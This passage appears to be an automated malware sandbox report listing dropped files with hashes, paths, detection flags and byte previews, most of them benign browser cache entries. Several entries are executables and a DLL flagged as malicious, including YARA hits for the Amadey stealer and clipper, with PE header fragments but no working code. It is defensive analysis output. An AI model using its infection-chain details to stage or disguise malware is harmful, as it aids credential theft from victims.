Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.M.f.k.J.a.Z.J.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.K.8.i.b.K.1.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.999688157532736
Encrypted:	false
SSDEEP:	96:TYVWU30lRIVwYMXnmAYyY1jHJTH75uigX:TSEMVwYkn35QT8
MD5:	E2F63788DA67F3C2C01E43D1132E87B0
SHA1:	06D9022C909DE32FC93C8FBF24FC1CD396923211
SHA-256:	E3AF0082629B8407631F45BDFA705A17C1193B0F051B4B589384206241CF80B6
SHA-512:	45A6F324034B4E483601E95499F66DF866D6A69C371B6B39ED29AED27CF650D1195B04777F99CA9A433ACCA29DA4243FAE2A389A65EE90B6061C37887B9A39CE
Malicious:	false
Reputation:	unknown
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".u.E.I.i.C.5.5.J.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.K.8.i.b.K.1.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\autorun[1].exe

Process:	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	367616
Entropy (8bit):	7.868902079164761
Encrypted:	false
SSDEEP:	6144:7Lnm91i1m7pJ4OlXq/XN3qq1BCDcFJ5eUE8Dod5w6EUdEjzOdIj:Pm90E7pJvq/t8cFJ5vELrTdEjz
MD5:	70A53CEA1F5F40353D5F6A6BF02A95C0
SHA1:	E8A936CD25241CA66DEAFE300E87F81F376E63CC
SHA-256:	D884369789550A8A68F06719E4D8B5378179ED94435B8AFB7BC2EADAADE695E6
SHA-512:	2B28B3C2BCD9114904848F6167ABD7C9B977D6CD56789E35D698972CECA0F5D0354BB39FD2C2FC2FAA6A90301875508378F81E9101437BEADEC586C8AC430B02
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...nX.e................................. ........@.. ..............................U3....`.................................p...K.......B........................................................................... ............... ..H............text....... ...................... ..`.rsrc...B...........................@..@.reloc..............................@..B........................H.......,...PY..........\|................................................0..V.......~....:K.........(.... .... .... ....s....(............(....(.... ....?....r...ps....z...(,...(.....0.......... .......... ............8.......(...........i]....X.. ....?........8$.......X...X ....]...................X.. ....?...........8......X ....].....X ....]..................&...& .=.e 5..Pa~y...{....a(....(...............X ....]..........%q........a........X......i?w.................&

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\clip64[1].dll

Process:	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	104448
Entropy (8bit):	6.38921269820025
Encrypted:	false
SSDEEP:	3072:MYHZ5o8D+sjrW2sosmrtuQRYKr77BUEYW0Z:McDoBkPsituQR5+W0Z
MD5:	85AF6C99D918757171D2D280E5AC61EF
SHA1:	BA1426D0ECF89825F690ADAD0A9F3C8C528ED48E
SHA-256:	150FB1285C252E2B79DEA84EFB28722CC22D370328CEB46FB9553DE1479E001E
SHA-512:	12C061D8FF87CDD3B1F26B84748396E4F56FC1429152E418988E042BC5362DF96A2F2C17BCF826D17A8BAE9045EE3BA0C063FB565D75C604E47009FF442E8C8E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\clip64[1].dll, Author: Joe Security Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\clip64[1].dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 96%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c.j.c.j.c.j.8.i.i.j.8.o..j.8.n.q.j..n.l.j..i.r.j..o.B.j.8.k.d.j.c.k...j...c.`.j...j.b.j.....b.j...h.b.j.Richc.j.........................PE..L...h.e...........!................!g....... ............................................@..........................z......<{..P....................................o..8............................o..@............ ..H............................text...V........................... ..`.rdata...b... ...d..................@..@.data................v..............@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\amer[1].exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1388032
Entropy (8bit):	7.984359427417673
Encrypted:	false
SSDEEP:	24576:BvDkFjI51Dta/7Q++3OP4fNXP2ltMGbVRO/LpgP0I5a5BzRznROFQIyrGn:BvgyHtg7ie0NXP+ZCTI5aDzCCIyrGn
MD5:	F3CFA7E6835A51B52B5B2F4173C5D047
SHA1:	93F1E90F3D19D26627064E64D691D28479C67273
SHA-256:	265BA94B8B506CB5CF03BEEFBAB38AA9358801E0F8420226E120A224D18262EA
SHA-512:	8259F98C1F1473CF9C3C4A66BAA822AC74328F8DFAD1883CD2F4CD23CF31CA17ED2369D308E86079694C132BE834DFE047F8FD1ACA84DE5500C0123CA752E87A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......wD..3%..3%..3%..hM..=%..hM...%..hM.. %...H..!%...H..'%...H..F%..hM.."%..3%...%...K..2%...Ko.2%...K..2%..Rich3%..........................PE..L...l.e..............................?...... ....@...........................@...........@... .. .... .. ..................P.1.<...........................0.1...............................1......................................................................<..................@............ ... ...j...@..............@............P...@......................@.......................................@............P.......<..................@....rsrc...............................@.............).........................@....data....@....0..@..................@...........................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\go[1].exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	916480
Entropy (8bit):	6.576808820369272
Encrypted:	false
SSDEEP:	12288:QqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga6TX:QqDEvCTbMWu7rQYlBQcBiT6rprG8aKX
MD5:	B325B839AB0CFD002C5FD1CEC765C60B
SHA1:	690201561096028B0601F4584F2CC5A548531012
SHA-256:	4420FEBDBE9CEA06FDAFDF9C01A0BE1D5D4A97773977A397E73B425575C2EEC7
SHA-512:	9A30512FD8B492C65158E59F80C01E1989F1C8345C01A6DEB866699AE74BAEEAF8685FCF48AA1B0902252D148474D3AE926DD5DD22873C5E37AF6186B0165082
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...9.e.........."..........L......w.............@..........................`.......N....@...@.......@.....................d...\|....@..@........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...@....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\doomed\17561 (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	35420
Entropy (8bit):	5.085928442373613
Encrypted:	false
SSDEEP:	384:/PtFYceo3KtwnY9nR+eXHxoZ/HJkNTBdHOT5Qhh7veK8t9KZM:Veo3KtwnY9nR+eXHcHJk/dHOTij753M
MD5:	33F899CBBED3032E0947D01A68FABDC2
SHA1:	635BD3E987C78E95635A060AC8EFC41BDE59DCF9
SHA-256:	22740C3FFEA70AD98E37610665D190E8DB7E19B9DF9C9EDE21026E7CBFECF4D4
SHA-512:	5B151F6820521F776C9FC16A248EADE3F2A883DFAFA8E9B109D5554BCED7E607919B8C82530D19DD33FCCF5D0507D98B22792B0BED29B4D8A0A192565D738A52
Malicious:	false
Reputation:	unknown
Preview:	<!doctype html>.<html>. <head>. <meta charset="utf-8">. <meta http-equiv="Content-Security-Policy" content="default-src 'none'; object-src 'none'; script-src resource: chrome:; connect-src https:; img-src https: data: blob: chrome:; style-src 'unsafe-inline';">. <meta name="color-scheme" content="light dark">. <title data-l10n-id="newtab-page-title"></title>. <link rel="icon" type="image/png" href="chrome://branding/content/icon32.png"/>. <link rel="localization" href="branding/brand.ftl" />. <link rel="localization" href="toolkit/branding/brandings.ftl" />. <link rel="localization" href="browser/newtab/newtab.ftl" />. <link rel="stylesheet" href="chrome://browser/content/contentSearchUI.css" />. <link rel="stylesheet" href="chrome://activity-stream/content/css/activity-stream.css" />. </head>. Cached: Wed, 17 Jan 2024 23:35:42 GMT -->. <body class="activity-stream">. <div id="header-asrouter-container" role="presentation"></div>. <div id="r

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\doomed\17677 (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	113
Entropy (8bit):	4.8869157726610375
Encrypted:	false
SSDEEP:	3:sVqmwp5XNWbdUyGLk8rLtPQ0IIt:0qFpJEbdOx2Kt
MD5:	3F105153273950D3878020C74EA5027D
SHA1:	D1197FF92ED8E7733631A783942AE5E86F6F3EED
SHA-256:	9695DB7EA40B2A0299629E30100373418BEFB4F5CCE108C4E728AC7BB42DD4A8
SHA-512:	700FBBABA34A6FED54EEE4792D082F731C3EE93C812444FE82D7E697DA0C1FFDE296FC0284FF1CECBEEB54A5E934E5E2F67922D23F7503A08EB3E6E47A1E18B7
Malicious:	false
Reputation:	unknown
Preview:	............e.d8e.d8Fv.........H....:https://redirector.gvt1.com/edgedl/widevine-cdm/4.10.2557.0-win-x64.zip.....

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\doomed\22259 (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	126
Entropy (8bit):	5.053519535595562
Encrypted:	false
SSDEEP:	3:aQlqhwvhRatl3BMqEcldnX+OGTAMrRzcSLUxGTKlLjOKf6T0tn:bqahaRiclp+OGb9LUxG0OKLtn
MD5:	09E065A074B91CEA08389B5EED540894
SHA1:	03375D1C0972145A1EFFBB357A3BDB538DACAAED
SHA-256:	6D2F14DF879B46FD7E6B9A67A59C9815FC3CEDBCF4463768094942856165DBD4
SHA-512:	D423636613B1D472BD45D52A3BA952CD6108516183EEA00F5B85BC7DF3A3DB6182E970CC9340BE77EC6F6E72382B410E8D070FEC9366D4495254058B1F5BE306
Malicious:	false
Reputation:	unknown
Preview:	..........e.dJe.dJFv.........B....O^partitionKey=%28https%2Cyoutube.com%29,:https://www.youtube.com/.necko:classified.1.....

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\005A9C4E63DE99C5C0502BA60B01522C71F61309

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2751463424
Category:	dropped
Size (bytes):	9579
Entropy (8bit):	6.15125727393132
Encrypted:	false
SSDEEP:	192:J0ZhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlE+Er:2CzwHUL75Vf8eehqrufWWCt2BVlP+
MD5:	6BCBFAF0442E6ACFCC8CA7FF04C1D92F
SHA1:	3D3D00EBC2B5772ACB1036243CA1773497EE15DD
SHA-256:	E0D90F091CE24AE3F49282188FA62131A9CF477801A418B16FA258B3568A70E0
SHA-512:	4E929B5632011D53DAE05EC925D84DB6CA897C8757222F3AAC1A9D732DFF6D5C8E54F91FA9E5534D44131D5D549A0779823EF41173F5DD56DD74B43E9D77B435
Malicious:	false
Reputation:	unknown
Preview:	..........E....0.E...{m_k..289..n..$(D.......3.{.p.5......E.q9K.s.lh....R.,..~.B..4..2o^(P...,.]...m.g..yq...*..%.y.!9tdn.Vd&4.T?l@N5qq,..,...`a..m.;..Pn.........B.........e.dqe.dqFv..g.E....k....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/download/v9/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGDA

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\0278A230C96F3CCD360EFD91F1D95D1D65C5FACB

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3556769792
Category:	dropped
Size (bytes):	9629
Entropy (8bit):	6.184882179444019
Encrypted:	false
SSDEEP:	192:rwCNhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlE+ES:b2zwHUL75Vf8eehqrufWWCt2BVl5V
MD5:	AAB5A4FA3AAFB2CA5A2F22803E602F3D
SHA1:	0DEC403E64342223B1E002EFD6F34B40B97E0979
SHA-256:	631888FA7261AD6A018BFBF1B7EB1E6A7E76A20FACF106828AA0EE66DD725468
SHA-512:	F1B9B1DE4B08522D5A0ADB2B49BB3A7073E0D2E5C56946EC4DD5AD0174AE28F1E53A89671AB371825BFE29855B9D726B4BDB166D47AD8DA5E8260E2AC3E40AFF
Malicious:	false
Reputation:	unknown
Preview:	..........-...0.E.Ex/YV....,f.U...8.....~..I.B.JWH..e.....{.Sz.h.s....o...8...4..+.......^10..Z..%.=t.S.p...X.....a0....GYZ..f........C..7........bK.s..[.&p......R+....y./....W[....V...CW_....f...................e.dqe.dqFv..g.F....k....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/clock/v7/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1U

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\05993CC1B74ED4D7D4C5398814C189394CD7F434

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	49470
Entropy (8bit):	7.786692376494367
Encrypted:	false
SSDEEP:	768:kJmX1e9vj4ooE3If5Mr+4sXhuyCqxcEEQ+8H6T/jR80gdjAudZNL28eehq4w2BVo:k8X1elPYhM2XhuyfOvTrHvRaBw2Xo
MD5:	7EC78E7E67452D9642D2D0EE30800BD1
SHA1:	5195BA4BC729DC8EFB580AA110EC426B0143CFFC
SHA-256:	5F247A3C79AE29A9CA65CC95773522CB866DE8BF807DE65C055253E1E69E4749
SHA-512:	6CF9D00F927089AEA867C5BAD58D37C0D0421644644BABD9A38137862E378DBCA369098658FD6B1460866EBA2828B4583BAF14345AAF5834AAC0A26536BE4977
Malicious:	false
Reputation:	unknown
Preview:	.:D......G!.........0..+..#....).1K...;...c..wrD,N.......+\|nq.d..;<E.T/.8..quu.H..K...1.Q.....i..=.d...._UuK..h../....,...G..npHrH.-.%..D..mx.R....H6..}'1..z]..M...0.E...M>...4.\...U...iTb..q.....]...~.."w....4...iP[..Hi,..6d);.9u..Hy9.Cb.S..=........#..H........^..s.8..V...P..[#V._....w..(n.:/.l.j....0.o.(+.r5j.(..."#Q...j}....(..~.w..~.....sQ.....^U.YU.F...!@.6M..Rf?..{..5....A.?][....[3.........p}..&.l......ZyO.@..Er&T...93..l.2%...7...........snV~.~U5.......Er..c#.G...).N.B.+K.x.N....._.a.?u....{@.!..Gk.nb...)p,....yeY.e'p~.....0.!d......~._..?...Kq.f~8.u>@..r...e(....b......<...n.v.....u.9..1N.'m...?..=......`....d.:.{q.......qAt~.._;.`..n.}..?.UN/..w&..M....V...U`}1..Mt..n.QT....$..]..75B......j.._h...I..^q!..W.w~.a..o8.%.fG.V.5....G........K7Va=.R....:....6E.."...y.6.._~k..;...QA..G..#v.d..H.A-...b.D._{.M.pZ...~....K6.........@........;.G.x...U5J#.o(.2.?.o.R.-i..v.......o. .O...a..V.L{8Yw...O.[u.)9rR..[....c......a.I...G.#

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\065E938442A1420F6C2293A21E820F436ED441C5

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3590324224
Category:	dropped
Size (bytes):	9629
Entropy (8bit):	6.1878081472710775
Encrypted:	false
SSDEEP:	192:68hChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEUmIEUmB:qzwHUL75Vf8eehqrufWWCt2BVlPvP6
MD5:	4A8FBF7B5280E40F247B635852252450
SHA1:	E5E8E0A74B33248875BF34D68058EAC508865FDB
SHA-256:	CDE23C2C2BC1C4EA87DA6E9B46FC4A058F4573A1F4D8996456500BCAAC8A3A38
SHA-512:	0B49D8FFCC3A4296840FF75C9F4FCD689E0F6CDEFECD2A21664D03248B578FFBEA668D1ABBFF91138A57FAD8EC738749E5DCF08B27555D1C98D2519D2C76DE86
Malicious:	false
Reputation:	unknown
Preview:	..........%.1n.0.E.Bh'-R.,...N...{.......A.\|...@....+..?.A...MSJ.b..;7..njCA.-sL... /...x.J......\S<.c..N...:..v....d.[...&...@...:.d,........D..h(..i..u..m-..L.....00OmD..]...(....mw..(..viS.....o......\|...........e.due.dvFv..g.K....i....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/trophy/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1U

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\0749EB9701150767FCDD1996E925D85763F42DBC

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15920, version 1.0
Category:	dropped
Size (bytes):	25249
Entropy (8bit):	7.735102157705657
Encrypted:	false
SSDEEP:	768:sShJKaScJK0uFvRvxb5OY3aU/lHkmvXzyUZVf8eehq4w2BViDs:DhJKZcJxuFJHOY3aUNNrVZVfaBw2XiDs
MD5:	AAFBD1D179F742DF415FFE73130F5B15
SHA1:	8111A5004FF2F193BC159337E27E41BBEC4F30BD
SHA-256:	02237F71032A5558CF66FAB45A8AA79178EFFA881A9A341ACA17D3F87B267D34
SHA-512:	58A03939B208901236E623773FC8E8F2F8492EB63CE9B2428400263EF2734A11ED159157A58CD5C2C614550FE18E640E03F724CEBDFFE2393AC7B56B6457AAF3
Malicious:	false
Reputation:	unknown
Preview:	wOF2......>0.......T..=..........................d.....^.`.. .\..<.................6.$.... .... ..S.!.%c.......\|y...6..;.s#.....x_<..o..........l...J.`p.m..6...h....U.pD...R.J.$...W..`7w...[..qD....<P......J.x.+J-^....va...:.KW..Ph...."....{.W4C....p..1..........CH.....P.............Q%.=.F.....1.%J....d..X..J.<AU..b.N...<l...d...f..^Y..]..&...VQ.<.....F..{.....&{.+J;.... .2P.:.5..?.o.\|....V[t..M..#..d.fv...........4..`.).h..h......@u........4......~.....r.B...p1.P.T..<....r....Y..8...GQ1.t.....%..-Wh..:W.....1l-...@..hL}...lN.._.j...D`..sn.=(...W..?.Z..p.52..H...X...)..CJ...V..7.....<\|..i...{...R.M+[..\|..x-..M3...~!\.l6}.T.o.R'$.)..-.W.T....A...5?.{.2.bR.../....*l..;...{..I>.n..MJ.2........U&. ..(L]].%P.$..p59.LD.f.........V.....z.5~.2\......#.4....9_....%wp.OU.0.....CK..../.x. ..A2e...@...(.i..f./.....`1.......!......@....0 vbt.e v./!...N=>:..A...(...f....?.....iH.F..!k.6.O6S..54.^c..2.G.?6....)b......lv.,h....Y.}.?..uk....L.4d.g..6.\.1u..

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\077009C01B60A2B09E2D2F3AF17A6761510CDF55

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	9433
Entropy (8bit):	6.180192282537015
Encrypted:	false
SSDEEP:	192:YxhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVmWaS:Y6zwHUL75Vf8eehqrufWWCt2BVmS
MD5:	B2F9778835B3C9D19B01E2025757FF6A
SHA1:	2A3EE9DF0FBA8A7AED676BAB91BB560307DC63E5
SHA-256:	8AD286BF93EA8C2510D0086E4AFAD1E3281B5C4E978DAF55757A1DE104ADE6C8
SHA-512:	12603E1BB385DD0EC34495D1449861219E06740BF2F547D3CD4EB8D95AD5775F50532AC889F211BE3690931C42CF340CCB0FE7BAF12A77D365A3FFAE146CBD55
Malicious:	false
Reputation:	unknown
Preview:	....b.....V.<f..).y>.p.O..0..H'G... ~%..R................?..q.e>...r.UU4........O.VT7y5h.......V.0...9.........[CN..r.;...........[.\.ME.J*j..`...f.L...c..N...c........T....N..;"..9........e.due.dvFv..g..f...\|....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://www.gstatic.com/youtube/img/icons/web/youtube_fill/volume-up/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBk

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\077FC1B4AE4CDCE739884B8D26633C10D0DCC5D7

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	24345
Entropy (8bit):	6.114304308450506
Encrypted:	false
